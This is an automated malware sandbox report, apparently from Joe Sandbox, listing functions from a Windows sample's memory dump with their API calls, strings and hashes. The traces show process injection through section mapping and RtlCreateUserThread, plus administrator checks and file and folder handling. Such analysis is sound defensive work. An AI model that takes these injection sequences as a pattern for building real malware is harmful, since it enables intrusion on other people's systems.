NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 00933B06
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00933B5D
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00933BA8
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 00933BF7
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00933C4B
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00933C96
_memmove.LIBCMT ref: 00933CBE
_memmove.LIBCMT ref: 00933CF7
_memmove.LIBCMT ref: 00933D30
_memmove.LIBCMT ref: 00933EA9
CreateEventW.KERNEL32(00000000,00000001,00000000,?), ref: 00933EC5
GetModuleHandle64.WINDOWS(NTDLL.DLL), ref: 00933EE8
GetProcAddress64.WINDOWS(?,?,RtlCreateUserThread), ref: 00933F0F
X64Call.WINDOWS(?,?,0000000A,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00933F79
WaitForSingleObject.KERNEL32(00000000,00001388), ref: 00933FA0
ResetEvent.KERNEL32(00000000), ref: 00933FB3
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00933FD7
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00933FEB
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00933FFF
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00934010
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00934021
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00934032
NtClose.NTDLL(00000000), ref: 0093403F
NtClose.NTDLL(00000000), ref: 0093404C
NtClose.NTDLL(00000000), ref: 00934059
CloseHandle.KERNEL32(00000000), ref: 00934066
ResetEvent.KERNEL32(00000000), ref: 009340A1
CloseHandle.KERNEL32(00000000), ref: 009340AE
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 009340C2
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 009340D3
NtClose.NTDLL(00000000), ref: 009340E0
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 009340F4
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00934105
NtClose.NTDLL(00000000), ref: 00934112
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00934126
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00934137
NtClose.NTDLL(00000000), ref: 00934144

Strings

VirtualFree, xrefs: 00933E2B
Sleep, xrefs: 00933D9D
LocalFree, xrefs: 00933DFC
VirtualAlloc, xrefs: 00933DE4
LocalAlloc, xrefs: 00933DCD
777367648777262762, xrefs: 00933D01
CloseHandle, xrefs: 00933E14
RtlCreateUserThread, xrefs: 00933EFC
KERNEL32.DLL, xrefs: 00933D44
USER32.DLL, xrefs: 00933D56
LoadLibraryA, xrefs: 00933DB5
VirtualProtect, xrefs: 00933E5B
897878765347627341, xrefs: 00933CC8
D, xrefs: 00933948
GetProcAddress, xrefs: 00933D86
MessageBoxW, xrefs: 00933E43
NTDLL.DLL, xrefs: 00933EE3
LoadLibraryW, xrefs: 00933D6E

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Section$View$Unmap$Close$Create$_memmove$Event$HandleProcessReset_memset$Address64CallCurrentHandle64ModuleObjectProcSingleWait_wcsrchrlstrcpy
String ID: 777367648777262762$897878765347627341$CloseHandle$D$GetProcAddress$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect
API String ID: 2205077196-117320160
Opcode ID: 79c51632dcdd1eb0aaca2d5a038e5432b6d1aeab03fb5c3bc61dafcbeede542b
Instruction ID: c7490bfa3e00b3eb6be0439d3cc21958d729f94abc2fd725f346858e6fc2654c
Opcode Fuzzy Hash: 79c51632dcdd1eb0aaca2d5a038e5432b6d1aeab03fb5c3bc61dafcbeede542b
Instruction Fuzzy Hash: 873250B0A41229AFEB24DB64CC8DF9AB774EB48704F1045D9B60DA7290DB74AE80CF50

Function 009300A0 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CommandLineToArgvW.SHELL32(?,?), ref: 009300B7
IsUserAnAdmin.SHELL32 ref: 00930109
OpenEventW.KERNEL32(00100002,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 00930127
SetEvent.KERNEL32(00000000), ref: 0093013A
CloseHandle.KERNEL32(00000000), ref: 00930148
ExitProcess.KERNEL32 ref: 00930150

Strings

{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 00930214, 009302F3
{79AAF077-37FE-4D7E-B956-7886E5902558}, xrefs: 009301E0, 009302BF
{2BFEF461-4650-4377-A284-2C0E2F67E458}, xrefs: 009300E5
{0AD702D0-3095-4181-A79C-FE2E80D29BC5}, xrefs: 009301C6
{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 00930184, 00930258, 00930337, 009303A4
{0277BEDC-839F-4568-B7FD-94E1324E5204}, xrefs: 0093011B
{D8E15931-E2AD-40B5-A4D1-41BD1741249E}, xrefs: 0093037E
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 009300C0
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 009302A5

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Event$AdminArgvCloseCommandExitHandleLineOpenProcessUser
String ID: {0277BEDC-839F-4568-B7FD-94E1324E5204}${0AD702D0-3095-4181-A79C-FE2E80D29BC5}${116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}${2BFEF461-4650-4377-A284-2C0E2F67E458}${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}${79AAF077-37FE-4D7E-B956-7886E5902558}${90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}${D8E15931-E2AD-40B5-A4D1-41BD1741249E}
API String ID: 1865237138-2295544787
Opcode ID: cab9c2f0958769d558fee2beff3ed9576e9f4f1bdf3dff07bbaf3a076e06df8e
Instruction ID: 1fa07f02d23ed6b55f44c153c5b5e08db7e3ee90643477818d6630ba645e8c14
Opcode Fuzzy Hash: cab9c2f0958769d558fee2beff3ed9576e9f4f1bdf3dff07bbaf3a076e06df8e
Instruction Fuzzy Hash: 61918370A48308EBEB15EFE8CD59BAE7A78EB88709F104519F111B72D0DBB59840DF61

Function 00938110 Relevance: 53.5, APIs: 10, Strings: 20, Instructions: 1044COMMON

Download Yara Rule

Strings

SHLWAPI.DLL, xrefs: 009385CA
SHELL32.DLL, xrefs: 009386BF
DBGHELP.DLL, xrefs: 00938E67
WTSAPI32.DLL, xrefs: 0093899E
KERNEL32.DLL, xrefs: 009381F6
WS2_32.DLL, xrefs: 00938A93
USER32.DLL, xrefs: 009382EB
NTDLL.DLL, xrefs: 00938119
SECUR32.DLL, xrefs: 00938F5C
OLE32.DLL, xrefs: 009387B4
WINMM.DLL, xrefs: 00938D72
MSI.DLL, xrefs: 00938C7D
GDIPLUS.DLL, xrefs: 00938B88
WINHTTP.DLL, xrefs: 009388A9
ADVAPI32.DLL, xrefs: 009384D5
5, xrefs: 0093850B
GDI32.DLL, xrefs: 009383E0
n, xrefs: 0093822C
CRYPT32.DLL, xrefs: 00939051
H, xrefs: 00938321

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID:
String ID: 5$ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$H$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL$n
API String ID: 0-974314553
Opcode ID: 923628d9fe0016c7b6dedfef988a98c257d1bbcbe7cc0acb3ec5fe28f299d406
Instruction ID: edfd798c1abbd8b8bb395d09132cfc857c4c9fee5d7a85f5991a15fd1d248746
Opcode Fuzzy Hash: 923628d9fe0016c7b6dedfef988a98c257d1bbcbe7cc0acb3ec5fe28f299d406
Instruction Fuzzy Hash: DFA24874A15229DFDB64DF64CC84BAEB3B5FB89305F108899E509A3340DB78AE84DF50

Function 00936410 Relevance: 45.8, APIs: 20, Strings: 6, Instructions: 267
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 00936439
__snwprintf.LIBCMT ref: 009364E4
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0093652E
GetWindowsDirectoryW.KERNEL32(00000000,00000104), ref: 00936553
__snwprintf.LIBCMT ref: 00936595
LocalFree.KERNEL32(00000000), ref: 009365C1
SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 009365F1
__snwprintf.LIBCMT ref: 00936627
CoTaskMemFree.COMBASE(?), ref: 00936636
SHGetKnownFolderPath.SHELL32(00957C40,00000000,00000000,?), ref: 00936683
__snwprintf.LIBCMT ref: 009366B9
CoTaskMemFree.COMBASE(?), ref: 009366C8
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00936710
GetTempPathW.KERNEL32(00000104,00000000), ref: 00936735
LocalFree.KERNEL32(00000000), ref: 009367AD

Part of subcall function 00921C60: _wcsrchr.LIBCMT ref: 00921C6C

__snwprintf.LIBCMT ref: 00936781
SHGetKnownFolderPath.SHELL32(00957C10,00000000,00000000,?), ref: 009367DD
__snwprintf.LIBCMT ref: 00936813
CoTaskMemFree.COMBASE(?), ref: 00936822
LocalFree.KERNEL32(00000000), ref: 0093685F

Strings

'%s%s', xrefs: 00936584
'%s%s', xrefs: 009366A8
'%s', xrefs: 009364D3
'%s%s', xrefs: 00936802
'%s%s', xrefs: 00936616
'%s%s', xrefs: 00936770

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal__snwprintf$Path$AllocFolderKnownTask$DirectoryTempWindows_wcsrchr
String ID: '%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s'
API String ID: 441647300-4258658051
Opcode ID: a3bc3a37f2a78be9256e7aac3f083576bd4776cc52ab5cc792da13e50341530b
Instruction ID: 1689c62cc69a85fa69470aaad147b73f8bb97e73a1a73a159b2e5079510e0921
Opcode Fuzzy Hash: a3bc3a37f2a78be9256e7aac3f083576bd4776cc52ab5cc792da13e50341530b
Instruction Fuzzy Hash: 04B183B1A4011DFBDB24DB94DC8DFE9B779AFA8304F1085A8E109AB191E7749E84CF50

Function 0092FAD0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 142
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0092FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0092FE74
Part of subcall function 0092FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0092FEB2
Part of subcall function 0092FE20: __snwprintf.LIBCMT ref: 0092FEDA
Part of subcall function 0092FE20: CoTaskMemFree.COMBASE(?), ref: 0092FEF5

CreateDirectoryW.KERNELBASE(00000000,00000000), ref: 0092FB03
GetLastError.KERNEL32 ref: 0092FB0E
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092FB26
CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 0092FBD1
GetLastError.KERNEL32 ref: 0092FBDD
LocalFree.KERNELBASE(00000000), ref: 0092FC72
LocalFree.KERNELBASE(00000000), ref: 0092FC7C
LocalFree.KERNEL32(00000000), ref: 0092FC86
LocalFree.KERNEL32(00000000), ref: 0092FCE3

Strings

P, xrefs: 0092FBFF
%s%s, xrefs: 0092FB46

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
